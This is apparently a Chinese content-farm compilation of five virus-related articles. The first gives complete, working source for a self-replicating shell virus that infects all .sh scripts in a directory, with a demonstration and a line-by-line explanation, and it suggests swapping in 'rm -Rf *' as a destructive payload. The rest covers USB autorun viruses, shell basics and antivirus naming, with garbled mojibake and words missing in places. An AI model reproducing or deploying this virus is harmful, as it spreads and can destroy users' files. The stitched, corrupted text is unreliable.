SHELL病毒简介

时间:2024年06月01日

/

来源:q273080631

/

编辑:本站小编

收藏本文

下载本文

下面是小编收集整理的SHELL病毒简介,本文共5篇,仅供参考,希望能够帮助到大家。本文原稿由网友“q273080631”提供。

篇1:SHELL病毒简介

转自:cnbird.99blog.com/

1. 前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦

从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感

染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下

这么一个小脚本,功能就是感染其他shell程序,

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以

算教学意义大于实际意义吧。

2. 程序代码

#!/bin/sh

#文件名: virus_demo.sh

#用途  : shell病毒演示。

#说明  : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。

#编写  : watercloud@xfocus.org

#日期  : -5-13

#B:<+!a%C&t:>

vFile=$_ ; vTmp=/tmp/.vTmp.$$

for f in ./*.sh; do

if [ ! -w $f -a ! -r $vFile ];  then continue; fi

if grep '<+!a%C&t:>' $f ;      then continue; fi

if sed -n '1p' $f | grep 'csh'; then continue; fi

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

vNo=`awk '$0~/(^\\b*#)|(^\\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

sed -n “1,${vNo}p” $vTmp >$f

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

vNo=`expr $vNo + 1`

sed -n “${vNo},\\$p” $vTmp >>$f

rm -f $vTmp

done >/dev/null 2>&1

unset vTmp ;unset vFile ;unset vNo

echo “Hi, here is a demo shell virus in your script. !”

#E:<+!a%C&t:>

#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。

3.  演示

测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。

[cloud@ /export/home/cloud/vir]>ls -l

drwxr-xr-x  2 cloud    staff        512  6??  4 17:43 ./

drwxr-xr-x  10 cloud    staff      1024  6??  4 17:41 ../

-rwxr--r--  1 cloud    staff        89  6??  4 17:43 test.sh

-rwxr--r--  1 cloud    staff        773  6??  4 17:42 virus_demo.sh

来看看我们这个“肉鸡”脚本,很简单:

[cloud@ /export/home/cloud/vir]>cat test.sh

#!/bin/sh

# Just a demo for virus test

# Author : foo

# Date  : 3000-1-1

ls -l

#EOF

好了开始感染他。

[cloud@ /export/home/cloud/vir]>./virus_demo.sh

Hi, here is a demo shell virus in your script. !

来看看感染后的结果:

[cloud@ /export/home/cloud/vir]>cat test.sh

#!/bin/sh

# Just a demo for virus test

# Author : foo

# Date  : 3000-1-1

#B:<+!a%C&t:>

vFile=$_ ; vTmp=/tmp/.vTmp.$$

for f in ./*.sh; do

if [ ! -w $f -a ! -r $vFile ];  then continue; fi

if grep '<+!a%C&t:>' $f ;      then continue; fi

if sed -n '1p' $f | grep 'csh'; then continue; fi

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

vNo=`awk '$0~/(^\\b*#)|(^\\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

sed -n “1,${vNo}p” $vTmp >$f

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

vNo=`expr $vNo + 1`

sed -n “${vNo},\\$p” $vTmp >>$f

rm -f $vTmp

done >/dev/null 2>&1

unset vTmp ;unset vFile ;unset vNo

echo “Hi, here is a demo shell virus in your script. !”

#E:<+!a%C&t:>

ls -l

#EOF

看,病毒体:

#B:<+!a%C&t:>

. . . .

#E:<+!a%C&t:>

被拷贝过来了,这样病毒就被传播了,

值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!

这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,

你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。

来执行看看我们新的病毒体看看:

[cloud@ /export/home/cloud/vir]>./test.sh

Hi, here is a demo shell virus in your script. ! <-- 看,病毒体内部的打印信息。

-rwxr-xr-x  1 cloud    staff        724  6??  4 17:44 test.sh

-rwxr-xr-x  1 cloud    staff        773  6??  4 17:42 virus_demo.sh

4. 简单讲解

我们来一步步分析一下这个病毒:

#B:<+!a%C&t:>

病毒体开始标记,用于程序复制自己定位用

vFile=$_ ; vTmp=/tmp/.vTmp.$$

定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们

必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序

名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do

开始循环,找到当前目录下的所有.sh结尾的程序。

if [ ! -w $f -a ! -r $vFile ];  then continue; fi

目标是否有写权限,病毒源文件是否有读权限。

if grep '<+!a%C&t:>' $f ;      then continue; fi

目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

if sed -n '1p' $f | grep 'csh'; then continue; fi

如果目标shell是以csh的那语法上差异太大了,放弃吧。

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

vNo=`awk '$0~/(^\\b*#)|(^\\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不

过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体

插入点。

sed -n “1,${vNo}p” $vTmp >$f

一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

再来一个sed完成搬运病毒体的工作。

vNo=`expr $vNo + 1`

sed -n “${vNo},\\$p” $vTmp >>$f

最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

rm -f $vTmp

清理一下临时文件

done >/dev/null 2>&1

循环结束

unset vTmp ;unset vFile ;unset vNo

清理一下犯罪现场。

echo “Hi, here is a demo shell virus in your script. !”

都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>

病毒体结束标记,用于程序复制自己定位用

5. 后记

从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒

破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面

也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得

花多少功夫。

上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上

应该也行。

顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是

教写病毒出去害人,切记切记!

#EOF

#GAME OVER

echo “望斧正!”

篇2:U盘病毒简介

U盘病毒会在系统中每个磁盘目录下创建autorun.inf病毒文件(不是所有的autorun.inf都是病毒文件),因此也被称为“Autorun病毒”,此类病毒借助“Windows自动播放”的特性,使用户双击盘符时就可立即激活指定的病毒。此外,它主要通过U盘传播自身,危害极大,不但影响用户的电脑系统,而且可能会造成大规模的病毒扩散等现象。

U盘病毒是一个统称,实际上他不仅仅可以通过U盘传播,还可以通过网络漏洞各种方式下载的用户本机并隐藏,由于用户会经常双击打开本地盘符,因此这种病毒的存活率和复发率非常的高,目前来看多流行为“下载器(Downloader)”;木马下载器,以此形式通过网络后台自动下载各类木马和病毒,对用户的电脑和虚拟财产造成极大的危害,即使是重装的情况下,也很容易再次激活其他盘符中的病毒,

360安全卫士U盘专杀工具,使用智能启发式查杀方法,对流行的U盘病毒及其衍生物具有优秀的杀灭效果,同时,使用360粉碎机的破冰技术可以有效阻止病毒再生!

篇3:shell脚本学习笔记简介及基本格式

shell简介

shell英文原意是壳,贝壳的意思,在linux,unix系统中的shell是一个接受用户指令的的命令行界面。当shell执行程序时,它会请求内核启动新的进程,在该进程里执行当前序,具体的实现是shell调用fork函数产生新进程,在新进程里调用exec函数加载指定程序。shell可以执行二进制可执行文件(elf文件),或者是脚本文件(具备可执行权限)。 对于脚本文件的处理,shell会启动一个新的shell来处理。

shell脚本基本格式

因为shell的实现由很多种,linux常用的默认的shell是bash,但还有很多其他shell,如b shell, c shell等。所以我们在编写shell脚本的时候需要一种机制能搞告知内核,我们需要用到哪种shell来执行我们的脚本,

shell脚本使用脚本里的第一行来标识具体使用哪种shell。

[html]

#! /bin/bash

所有的shell脚本都以上面一行作为开始。脚本以#!作为开始,后面跟的是解释器的完整路径,路径后面还可以跟着参数,内核会根据相应的参数调用解释器。  我们编写一个简单地脚本程序nusers.sh,该脚本显示出当前登录系统的用户数量。

[html]

#! /bin/bash

who | wc -l

who命令会打印当前登录的用户的相关信息,通过管道 | 将结果传送给wc程序处理,wc -l 会打印出who命令输出信息的行数(who命令会将每个用户的信息用一行来显示)也就是用户的数量。

篇4:病毒命名的方法简介

很多时候大家已经用杀毒软件查出了自己的机子中了例如Backdoor. RmtBomb.12 、Trojan.Win32.SendIP.15 等等这些一串英文还带数字的病毒名,这时有些人就懵了,那么长一串的名字,我怎么知道是什么病毒啊?

其实只要我们掌握一些病毒的命名规则,我们就能通过杀毒软件的报告中出现的病毒名来判断该病毒的一些公有的特性了,

世界上那么多的病毒,反病毒公司为了方便管理,他们会按照病毒的特性,将病毒进行分类命名。虽然每个反病毒公司的命名规则都不太一样,但大体都是采用一个统一的命名方法来命名的。

一般格式为:<病毒前缀>.<病毒名>.<病毒后缀>。

病毒前缀是指一个病毒的种类,他是用来区别病毒的种族分类的。不同的种类的病毒,其前缀也是不同的。比如我们常见的木马病毒的前缀 Trojan ,蠕虫病毒的前缀是 Worm 等等还有其他的。

病毒名是指一个病毒的家族特征,是用来区别和标识病毒家族的,如以前著名的CIH病毒的家族名都是统一的“ CIH ”,还有近期闹得正欢的振荡波蠕虫病毒的家族名是“ Sasser ”。

病毒后缀是指一个病毒的变种特征,是用来区别具体某个家族病毒的某个变种的。一般都采用英文中的26个字母来表示,如Worm.Sasser.b就是指 振荡波蠕虫病毒的变种B,因此一般称为 “振荡波B变种”或者“振荡波变种B”。如果该病毒变种非常多(也表明该病毒生命力顽强 ^_^),可以采用数字与字母混合表示变种标识。

综上所述,一个病毒的前缀对我们快速的判断该病毒属于哪种类型的病毒是有非常大的帮助的。通过判断病毒的类型,就可以对这个病毒有个大概的评估(当然这需要积累一些常见病毒类型的相关知识,这不在本文讨论范围)。而通过病毒名我们可以利用查找资料等方式进一步了解该病毒的详细特征。病毒后缀能让我们知道现在在你机子里糇诺牟《臼悄母霰渲帧? 下面附带一些常见的病毒前缀的解释(针对我们用得最多的Windows操作系统):

1、系统病毒

系统病毒的前缀为:Win32、PE、Win95、W32、W95等。这些病毒的一般公有的特性是可以感染windows操作系统的 *.exe 和 *.dll 文件,并通过这些文件进行传播,

如CIH病毒。

2、蠕虫病毒

蠕虫病毒的前缀是:Worm。这种病毒的公有特性是通过网络或者系统漏洞进行传播,很大部分的蠕虫病毒都有向外发送带毒邮件,阻塞网络的特性。比如冲击波(阻塞网络),小邮差(发带毒邮件) 等。

3、木马病毒、病毒

木马病毒其前缀是:Trojan, 病毒前缀名一般为 Hack 。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏,然后向外界泄露用户的信息,而 病毒则有一个可视的界面,能对用户的电脑进行远程控制。木马、病毒往往是成对出现的,即木马病毒负责侵入用户的电脑,而 病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马 Trojan.QQ3344 ,还有大家可能遇见比较多的针对网络游戏的木马病毒如 Trojan.LMir.PSW.60 。这里补充一点,病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有 的功能(这些字母一般都为“密码”的英文“password”的缩写)一些 程序如:网络枭雄(Hack.Nether.Client)等。

4、脚本病毒

脚本病毒的前缀是:Script。脚本病毒的公有特性是使用脚本语言编写,通过网页进行的传播的病毒,如红色代码(Script.Redlof)――可不是我们的老大代码兄哦^_^。脚本病毒还会有如下前缀:VBS、JS(表明是何种脚本编写的),如欢乐时光(VBS.Happytime)、十四日(Js.Fortnight.c.s)等。 m1)ox^e /s

5、宏病毒

其实宏病毒是也是脚本病毒的一种,由于它的特殊性,因此在这里单独算成一类。宏病毒的前缀是:Macro,第二前缀是:Word、Word97、Excel、Excel97(也许还有别的)其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97做为第二前缀,格式是:Macro.Word97;凡是只感染WORD97以后版本WORD文档的病毒采用Word做为第二前缀,格式是:Macro.Word;凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97做为第二前缀,格式是:Macro.Excel97;凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel做为第二前缀,格式是:Macro.Excel,依此类推。该类病毒的公有特性是能感染OFFICE系列文档,然后通过OFFICE通用模板进行传播,如:著名的美丽莎(Macro.Melissa)。

篇5:瑞星病毒疫情监测网简介

瑞星病毒疫情监测网是瑞星公司经过数月紧张筹备,于7月7日开始试运行的计算机病毒疫情网络公布体系,它通过对瑞星免费在线查毒、瑞星在线杀毒、瑞星全球反病毒监测网、瑞星客户服务中心等多个部门产生的病毒数据进行综合分析,以图表、实时病毒疫情排行榜等直观的形式向全社会公布目前计算机病毒疫情状况。

目前,瑞星病毒疫情监测网提供了病毒疫情的分时、分地域、实时疫情排行榜等察看形式。包括普通用户、企业局域网管理员、计算机病毒专业研究机构等都可以通过该网络获取自己需要的数据,针对目前的计算机病毒疫情采取相应的防护措施。

瑞星病毒疫情监测网以什么为依据来确定当前病毒疫情的程度?

1.感染的机器数量

2.感染的地域范围

3.病毒本身的危害等级

4.新病毒传播速度

5、数据更新频率:每小时更新一次

作为“瑞星安全预警系统”的补充,病毒疫情监测网采用了四个等级来标明目前病毒疫情的严重程度,共分为绿色、黄色、橙色和红色四个等级,四种颜色中绿色级别最低,红色为最高,它们的具体含义如下:

绿色:目前网络较安全,用户只需要进行日常的杀毒软件升级,并打开杀毒软件的实时监控功能即可,

警惕

黄色:目前网络中存在一定数量的病毒,用户需要实时地升级杀毒软件进行防范,并打开杀毒软件的实时监控功能。

危险

橙色:目前网络中病毒情况较为严重,用户需要实时升级杀毒软件并打开杀毒软件的实时监控功能进行防范,并使用杀毒软件进行全盘扫描。

高危

红色:目前网络中病毒情况为高度危险,用户不仅需要实时升级杀毒软件并打开杀毒软件的实时监控功能、使用杀毒软件进行全盘扫描,还应时刻关注杀毒软件厂商发布的安全信息,做好防卫工作。

shell脚本学习

Shell常用操作符总结

壳牌Shell笔试经验谈

病毒隐藏技术

病毒大班科学教案

下载SHELL病毒简介(精选5篇)
SHELL病毒简介.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档